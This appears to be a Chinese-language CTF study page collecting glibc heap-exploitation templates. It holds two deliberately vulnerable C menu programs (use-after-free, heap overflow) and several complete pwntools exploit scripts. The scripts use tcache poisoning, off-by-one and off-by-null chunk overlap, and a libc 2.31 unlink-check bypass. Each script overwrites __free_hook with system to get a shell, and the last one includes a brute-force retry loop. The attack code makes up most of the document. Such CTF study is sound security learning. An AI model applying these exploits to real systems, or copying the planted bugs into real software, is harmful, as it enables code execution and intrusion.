这里记录一些ctf中堆pwn的板子,总结学习
UAF打掉tcache拿libc
//uaf
#include
#include
char *heap[0x20];
int num=0;
void create()
{
if(num>=0x20)
{
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
if(size>=0x20)
{
puts("no more");
return;
}
heap[num]=(char *)malloc(size);
num++;
}
void show(){
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele()
{
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
free(heap[idx]);
num--;
}
}
void edit()
{
int size;
int i;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
puts("how big u read");
scanf("%d",&size);
if(size>0x20)
{
puts("too more");
return;
}
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main()
{
int choice;
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}
EXP
from pwn import *
r=process('./uaf')
elf = ELF("uaf")
libc=elf.libc
# context.log_level='debug'
def add(size):
r.sendlineafter("4.show\n",'1')
r.sendlineafter("how big\n",str(size))
def dele(idx):
r.sendlineafter("4.show\n",'2')
r.sendlineafter("idx\n",str(idx))
def edit(idx,size,con):
r.sendlineafter("4.show\n",'3')
r.sendlineafter("idx\n",str(idx))
r.sendlineafter("how big u read\n",str(size))
r.sendafter("Content:\n",con)
def show(idx):
r.sendlineafter("4.show\n",'4')
r.sendlineafter("idx\n",str(idx))
def dbg():
gdb.attach(r)
pause()
for i in range(7):
add(0x10)
# 拿堆地址
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
# 申请到tcache管理空间,同时恢复tcache结构体功能,保持0x20堆块正常运行
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4) # 7即tcache结构体
# 利用uaf申请到tcache结构题内管理0x250堆块的部分
dele(5)# 5-1
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
# 打到unsortbin后切割获取libc
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
# 恢复一下结构体,进行最后的uaf利用
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()
小溢出堆叠(offbyone/向下合并/万用合并)
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
int init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
if(num>=0x20)
{
puts("no more");
return;
}
int size;
puts("Size of Heap : ");
scanf("%d",&size);
heaparray[num]=(char *)malloc(size);
realsize[num]=size;
num++;
}
void show(){
int idx ;
char buf[4];
printf("Index :\n");
read(0,buf,4);//输入堆块的index
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){//根据序列进行查找
//打印指定堆块内容
printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
puts("Done !");
}else{
puts("No such heap !");
}
}
void edit(){
int idx ;
char buf[4];
printf("Index :\n");
read(0,buf,4);//输入堆的序列号
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){//判断序列号的正确性
puts("Out of bound!");
_exit(0);
}
//若序列号正确
if(heaparray[idx]){
int size;
puts("Size of Heap : ");
scanf("%d",&size);
printf("Content of heap : \n");
read(0,heaparray[idx],size);
//调用read_input函数输入堆的内容
puts("Done !");
}else{
puts("No such heap !");
}
}
void dele(){
int idx ;
char buf[4];
printf("Index :\n");
read(0,buf,4);//输入index
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]);//free heaparray[idx]指针
realsize[idx] = 0 ;
heaparray[idx]=NULL;
puts("Done !");
num--;
}else{
puts("No such heap !");
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main()
{
init();
sandbox();
int choice;
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}
EXP
from pwn import *
r=process('./zheap')
elf = ELF('zheap')
libc=elf.libc
context.log_level='debug'
def add(size):
r.sendlineafter("4.show\n",'1')
r.sendlineafter("Size of Heap : \n",str(size))
def dele(idx):
r.sendlineafter("4.show\n",'2')
r.sendlineafter("Index :\n",str(idx))
def edit(idx,con):
r.sendlineafter("4.show\n",'3')
r.sendlineafter("Index :\n",str(idx))
r.sendafter("Content of heap : \n",con)
def show(idx):
r.sendlineafter("4.show\n",'4')
r.sendlineafter("Index :\n",str(idx))
def dbg():
gdb.attach(r)
pause()
# 9个0x80堆=0x480,填0x21自主合并
add(0x18)#0
add(0x78)#1
for i in range(10):
add(0x78)
for i in range(2,10):
edit(i,p64(0x21)*14)
edit(0,'a'*0x18+p64(0x421))
dele(1)
# 泄露完libc去找堆复用
add(0x18)
show(1)
r.recvuntil("Content : ")
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
base=leak-0x3ec090
sys=libc.sym['system']+base
free=libc.sym['__free_hook']+base
# 用vmmap看heap结构体存在堆复用
dele(1)
edit(11,p64(free))
add(0x18)
add(0x18)
edit(11,"/bin/sh")
edit(12,p64(sys))
dele(11)
r.interactive()
offbyone向下合并构造堆复用(malloc_consolidate拿libc)
题目漏洞就是edit的offbyone,数据输入用的scanf输入
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process("bitflip")
elf = ELF('bitflip')
libc = elf.libc
def cmd(choice):
sla('Your choice: ',choice)
def add(idx,size):
cmd(1)
sla('Index: ',idx)
sla('Size: ',size)
def edit(idx,content):
cmd(2)
sla('Index: ',idx)
p.sendlineafter(': ',content)
def show(idx):
cmd(3)
sla('Index: ',idx)
def delete(idx):
cmd(4)
sla('Index: ',idx)
def dbg():
gdb.attach(p)
pause()
for i in range(9):
add(i,0x48)
for i in range(8):
delete(i)
p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
add(i,0x48)
add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
sys=libc.sym['system']+libc_base
free=libc.sym['__free_hook']+libc_base
for i in range(9,16):
add(i,0x18)
for i in range(16,23):
add(i,0x28)
add(23,0x18)
add(24,0x28)
add(25,0x18)
add(26,0x18)
for i in range(9,23):
delete(i)
delete(25)
edit(23,'a'*0x18+'\x51')
delete(24)
add(27,0x48)
edit(27,p64(0x21)*6+p64(free-0x10))
for i in range(9,16):
add(i,0x18)
add(24,0x18)
edit(24,'/bin/sh\x00')
add(25,0x18)
edit(25,p64(sys))
delete(24)
p.interactive()
大堆合并(offbynull/向前合并)
题目就是offbynull漏洞,一般可申请的堆都在0x100作业
EXP
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process("old_school_revenge")
elf = ELF('old_school_revenge')
libc = elf.libc
def cmd(choice):
sla('Your choice: ',choice)
def add(idx,size):
cmd(1)
sla('Index: ',idx)
sla('Size: ',size)
def edit(idx,content):
cmd(2)
sla('Index: ',idx)
p.sendlineafter(': ',content)
def show(idx):
cmd(3)
sla('Index: ',idx)
def delete(idx):
cmd(4)
sla('Index: ',idx)
def dbg():
gdb.attach(p)
pause()
for i in range(9):
add(i,0x48)
for i in range(8):
delete(i)
p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
add(i,0x48)
add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
# 前面是看到scanf输入直接抄板子梭哈了,获取到libc
for i in range(10,17):
add(i,0xf8)
add(17,0xf8)
add(18,0x88)# edit中间这个chunk
add(19,0xf8)
add(20,0x88)
for i in range(10,17):
delete(i)
delete(17)
edit(18,'a'*0x80+p64(0x190))
delete(19)
for i in range(10,17):
add(i,0xf8)
add(21,0xf8)
add(22,0x88)
delete(18)
edit(22,p64(free))
add(23,0x88)
edit(23,'/bin/sh\x00')
add(24,0x88)
edit(24,p64(sys))
delete(23)
p.interactive()
大堆合并(offbynull在libc2.31/2.29下的利用)
题目限制堆数量10个,for循环编号赋予
基本上无size限制,仅有offbynull漏洞,libc-2.31
思路
伪造出一个chunk,使其能够绕过这两个检测。
一个是向低地值合并的检测:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
另一个就是unlink时候的检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
EXP
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process("bornote")
elf = ELF('bornote')
libc = elf.libc
def cmd(choice):
sla("aaa's cmd: ",choice)
def add(size):
cmd(1)
sla('Size: ',size)
def edit(idx,content):
cmd(3)
sla('Index: ',idx)
p.sendlineafter('Note: ',content)
def show(idx):
cmd(4)
sla('Index: ',idx)
def delete(idx):
cmd(2)
sla('Index: ',idx)
def dbg():
gdb.attach(p)
pause()
fakechunk = 0x00005561306c6f00
sla('username: ','aaa')
# 这里size最大最好别超过0x440,不然放进largebin时/不在同一个区间上
add(0x418) # 0
add(0x128) # 1 # 最后绕过tcache个数检测,和最后利用堆复用的chunk一样大
add(0x418) # 2
add(0x438) # 3
add(0x148) # 4
add(0x428) # 5
add(0x138) # 6
# fakechunk 粘fd和bk
delete(0)
delete(3)
delete(5)
#设置fakechunk size位
delete(2)
add(0x438) # 0
edit(0,'a' * 0x418 + p64(0xb01)[:7])
add(0x418) # 2
add(0x428) # 3
add(0x418) # 5
# 设置bk
delete(5)
delete(2)
add(0x418) # 2
edit(2,p64(0))
add(0x418) # 5
# 设置fd
delete(5)
delete(3)
add(0x5f8)# 3 # 置入largebin
add(0x428)# 5
edit(5,'')
add(0x418)# 7
add(0xf8)# 8
# 设置prevsize
edit(6,'a'*0x130+p64(0xb00))
delete(3)
add(0x10)# 3
show(7)
p.recvuntil("Note: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))- 0x1EBBE0
lg('libc_base',libc_base)
sys = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
add(0x128)#9
delete(1)
delete(9)
edit(7,p64(free_hook))
add(0x128)# 1
add(0x128)# 9
edit(1,"/bin/sh\x00")
edit(9,p64(sys))
delete(1)
p.interactive()
爆破
思路
漏洞是UAF,但每次申请的size大小不可控,导致无法准确申请到想要的堆
尽量避免doublefree的申请,降低爆破次数
EXP
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
# p = process("random_heap")
elf = ELF('random_heap')
libc = elf.libc
def cmd(choice):
sla("Your choice: ",choice)
def add(idx,size):
cmd(1)
sla("Index: ",idx)
sla("Size: ",size)
def edit(idx,content):
cmd(2)
sla("Index: ",idx)
p.sendafter("Content: ",content)
def show(idx):
cmd(3)
sla("Index: ",idx)
def delete(idx):
cmd(4)
sla("Index: ",idx)
def dbg():
gdb.attach(p)
pause()
def pwn():
add(0,0xf8)
add(1,0x88)
edit(1,'/bin/sh\x00')
# 拿堆地址
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
p.recvuntil("Content: ")
heap=u64(p.recv(6)+'\x00'*2)-0x260
lg('heap',heap)
for i in range(6):
edit(0,'a'*0x10)
delete(0)
show(0)
p.recvuntil("Content: ")
libc_base=u64(p.recv(6)+'\x00'*2)-96-0x3ebc40
lg('libc_base',libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(2,0x18)
delete(2)
edit(0,p64(free_hook)*2)
delete(2)
edit(0,p64(free_hook)*2)
add(2,0x18)
show(2)
tmp = u64(((p.recvuntil("\x7f",timeout=0.4))[-6::]).ljust(8,'\x00'))
if(tmp!=free_hook):
exit()
add(3,0x18)
edit(3,p64(system))
delete(1)
p.sendline("cat flag")
print p.recvuntil("}",timeout=0.4)
times = 0
while 1:
try:
p = process("./random_heap")
pwn()
p.interactive()
except:
times += 1
print("="*8+str(times)+" times"+"="*8)
p.close()